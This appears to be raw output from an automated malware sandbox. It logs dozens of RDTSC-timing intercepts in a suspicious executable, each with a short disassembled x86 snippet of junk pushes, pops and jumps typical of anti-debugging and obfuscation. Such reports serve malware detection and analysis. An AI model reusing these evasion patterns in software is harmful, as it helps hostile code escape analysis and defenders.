Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 774F6B second address: 774F90 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jl 00007FA3EC7880B6h 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c add dword ptr [esp], 2EE30376h 0x00000013 push EDC8E809h 0x00000018 pushad 0x00000019 push ebx 0x0000001a ja 00007FA3EC7880B6h 0x00000020 pop ebx 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 774F90 second address: 774F94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 775106 second address: 775110 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FA3EC7880B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 775110 second address: 775146 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA3EC8736E2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a mov cx, 19DFh 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 jmp 00007FA3EC8736E4h 0x00000017 push edi 0x00000018 pop edi 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 775146 second address: 775150 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007FA3EC7880B6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 7757E2 second address: 7757E6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 760A51 second address: 760A77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jmp 00007FA3EC7880BAh 0x0000000a jmp 00007FA3EC7880C6h 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 7BA0D6 second address: 7BA0E6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a jns 00007FA3EC8736D6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 7BA0E6 second address: 7BA0F8 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FA3EC7880B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jo 00007FA3EC7880B6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 7BA68D second address: 7BA6C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 jp 00007FA3EC8736D6h 0x0000000c popad 0x0000000d pushad 0x0000000e jmp 00007FA3EC8736DBh 0x00000013 pushad 0x00000014 popad 0x00000015 jmp 00007FA3EC8736E7h 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 7BA6C0 second address: 7BA6E1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA3EC7880C7h 0x00000007 jg 00007FA3EC7880BCh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 7BA855 second address: 7BA859 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 7BA859 second address: 7BA877 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a jmp 00007FA3EC7880C0h 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 7BA877 second address: 7BA87C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 7BA9E0 second address: 7BAA21 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FA3EC7880B6h 0x00000008 jmp 00007FA3EC7880C9h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jnp 00007FA3EC7880CEh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 7BAA21 second address: 7BAA49 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FA3EC8736D8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jl 00007FA3EC8736EAh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 7BAA49 second address: 7BAA54 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jnl 00007FA3EC7880B6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 7BABA0 second address: 7BABB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FA3EC8736D6h 0x0000000a pop edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jnp 00007FA3EC8736D6h 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 7BD7AE second address: 7BD7B4 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 7BFE56 second address: 7BFE5A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 729DC4 second address: 729DD8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA3EC7880C0h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 729DD8 second address: 729DDC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 729DDC second address: 729DEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FA3EC7880B6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push ebx 0x00000010 push edi 0x00000011 pop edi 0x00000012 pop ebx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 729DEF second address: 729E07 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FA3EC8736E2h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 7C3878 second address: 7C38CD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA3EC7880C2h 0x00000007 jmp 00007FA3EC7880C2h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e jmp 00007FA3EC7880BBh 0x00000013 pushad 0x00000014 push esi 0x00000015 pop esi 0x00000016 jmp 00007FA3EC7880C3h 0x0000001b push edi 0x0000001c pop edi 0x0000001d popad 0x0000001e popad 0x0000001f push eax 0x00000020 push edx 0x00000021 push ebx 0x00000022 push edi 0x00000023 pop edi 0x00000024 push edx 0x00000025 pop edx 0x00000026 pop ebx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 7C39FA second address: 7C3A07 instructions: 0x00000000 rdtsc 0x00000002 je 00007FA3EC8736D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 7C3B39 second address: 7C3B3D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 7C3B3D second address: 7C3B43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 7C7D88 second address: 7C7D8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 7C7D8E second address: 7C7D92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 7C7D92 second address: 7C7D9C instructions: 0x00000000 rdtsc 0x00000002 je 00007FA3EC7880B6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 7C7066 second address: 7C706A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 7C71D3 second address: 7C71DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FA3EC7880B6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 7C7375 second address: 7C73B9 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FA3EC8736D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jmp 00007FA3EC8736E9h 0x00000010 jmp 00007FA3EC8736DBh 0x00000015 jmp 00007FA3EC8736E4h 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 7C73B9 second address: 7C73D1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA3EC7880C0h 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 7C73D1 second address: 7C73D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 7C77EA second address: 7C77F0 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 7C77F0 second address: 7C77FC instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 pop ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 7C77FC second address: 7C7800 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 7CBBDB second address: 7CBBF7 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007FA3EC8736E7h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 7CC01D second address: 7CC021 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 7CC021 second address: 7CC027 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 775633 second address: 775637 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 775637 second address: 7756C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jmp 00007FA3EC8736E2h 0x0000000d nop 0x0000000e push 00000000h 0x00000010 push esi 0x00000011 call 00007FA3EC8736D8h 0x00000016 pop esi 0x00000017 mov dword ptr [esp+04h], esi 0x0000001b add dword ptr [esp+04h], 0000001Bh 0x00000023 inc esi 0x00000024 push esi 0x00000025 ret 0x00000026 pop esi 0x00000027 ret 0x00000028 movzx edi, si 0x0000002b pushad 0x0000002c cld 0x0000002d mov bl, BCh 0x0000002f popad 0x00000030 push 00000004h 0x00000032 push 00000000h 0x00000034 push eax 0x00000035 call 00007FA3EC8736D8h 0x0000003a pop eax 0x0000003b mov dword ptr [esp+04h], eax 0x0000003f add dword ptr [esp+04h], 00000019h 0x00000047 inc eax 0x00000048 push eax 0x00000049 ret 0x0000004a pop eax 0x0000004b ret 0x0000004c mov edx, dword ptr [ebp+122D2E87h] 0x00000052 push eax 0x00000053 push eax 0x00000054 push edx 0x00000055 jo 00007FA3EC8736EFh 0x0000005b jmp 00007FA3EC8736E9h 0x00000060 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 7CCF24 second address: 7CCF38 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007FA3EC7880B6h 0x0000000a jmp 00007FA3EC7880BAh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 7CCF38 second address: 7CCF48 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 pop eax 0x0000000a jne 00007FA3EC8736D6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 7CCF48 second address: 7CCF4C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 7D2BA1 second address: 7D2BC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push edx 0x00000007 pop edx 0x00000008 jmp 00007FA3EC8736E8h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 7D2BC1 second address: 7D2BC7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 7D2BC7 second address: 7D2C01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jns 00007FA3EC8736DEh 0x0000000c push esi 0x0000000d jmp 00007FA3EC8736E6h 0x00000012 pop esi 0x00000013 popad 0x00000014 push eax 0x00000015 jnp 00007FA3EC8736D8h 0x0000001b push edx 0x0000001c pop edx 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 7D35DD second address: 7D35F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jne 00007FA3EC7880B6h 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f jnc 00007FA3EC7880B6h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 7D35F2 second address: 7D35F8 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 7D35F8 second address: 7D35FE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 7D38DB second address: 7D38FA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA3EC8736DEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FA3EC8736DBh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 7D38FA second address: 7D3900 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 7D3900 second address: 7D3904 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 7D47B5 second address: 7D47BB instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 7D79A9 second address: 7D79C1 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FA3EC8736D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a ja 00007FA3EC8736DEh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 7D7C9F second address: 7D7CD1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA3EC7880C7h 0x00000007 jnp 00007FA3EC7880B6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FA3EC7880BBh 0x00000017 push ebx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 7D7CD1 second address: 7D7CE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA3EC8736DBh 0x00000009 pop ebx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 7D82B4 second address: 7D82CA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA3EC7880C2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 7D82CA second address: 7D82D2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 7D82D2 second address: 7D82EB instructions: 0x00000000 rdtsc 0x00000002 jne 00007FA3EC7880B6h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 jnp 00007FA3EC7880B6h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 7D82EB second address: 7D82EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 7D82EF second address: 7D82F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 7D82F3 second address: 7D82FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 7D82FC second address: 7D830B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FA3EC7880B6h 0x0000000a pop ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 7D830B second address: 7D8317 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 7D8317 second address: 7D831B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 7E47B8 second address: 7E47C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 7E47C5 second address: 7E47E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jc 00007FA3EC7880B6h 0x0000000c popad 0x0000000d jmp 00007FA3EC7880C5h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 7E47E7 second address: 7E47EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 7E47EF second address: 7E47F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 7E47F3 second address: 7E4814 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA3EC8736E7h 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 7E4814 second address: 7E4818 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 7E4818 second address: 7E481E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 7E298B second address: 7E298F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 7E2AFB second address: 7E2B02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 7E2B02 second address: 7E2B35 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA3EC7880C9h 0x00000009 jmp 00007FA3EC7880C6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 7E30B5 second address: 7E30B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 7E30B9 second address: 7E30E5 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FA3EC7880B6h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jnp 00007FA3EC7880B6h 0x00000014 jmp 00007FA3EC7880C8h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 7E360E second address: 7E3612 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 7E3612 second address: 7E3618 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 7E2552 second address: 7E255E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 ja 00007FA3EC8736D6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 7EA971 second address: 7EA975 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 7EA975 second address: 7EA97D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 7ED4E9 second address: 7ED4ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 7FB5AA second address: 7FB5BB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA3EC8736DDh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 7FD7FA second address: 7FD80C instructions: 0x00000000 rdtsc 0x00000002 jc 00007FA3EC7880B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jg 00007FA3EC7880B6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 7FD80C second address: 7FD83E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA3EC8736E5h 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FA3EC8736DFh 0x00000012 jns 00007FA3EC8736D6h 0x00000018 rdtsc
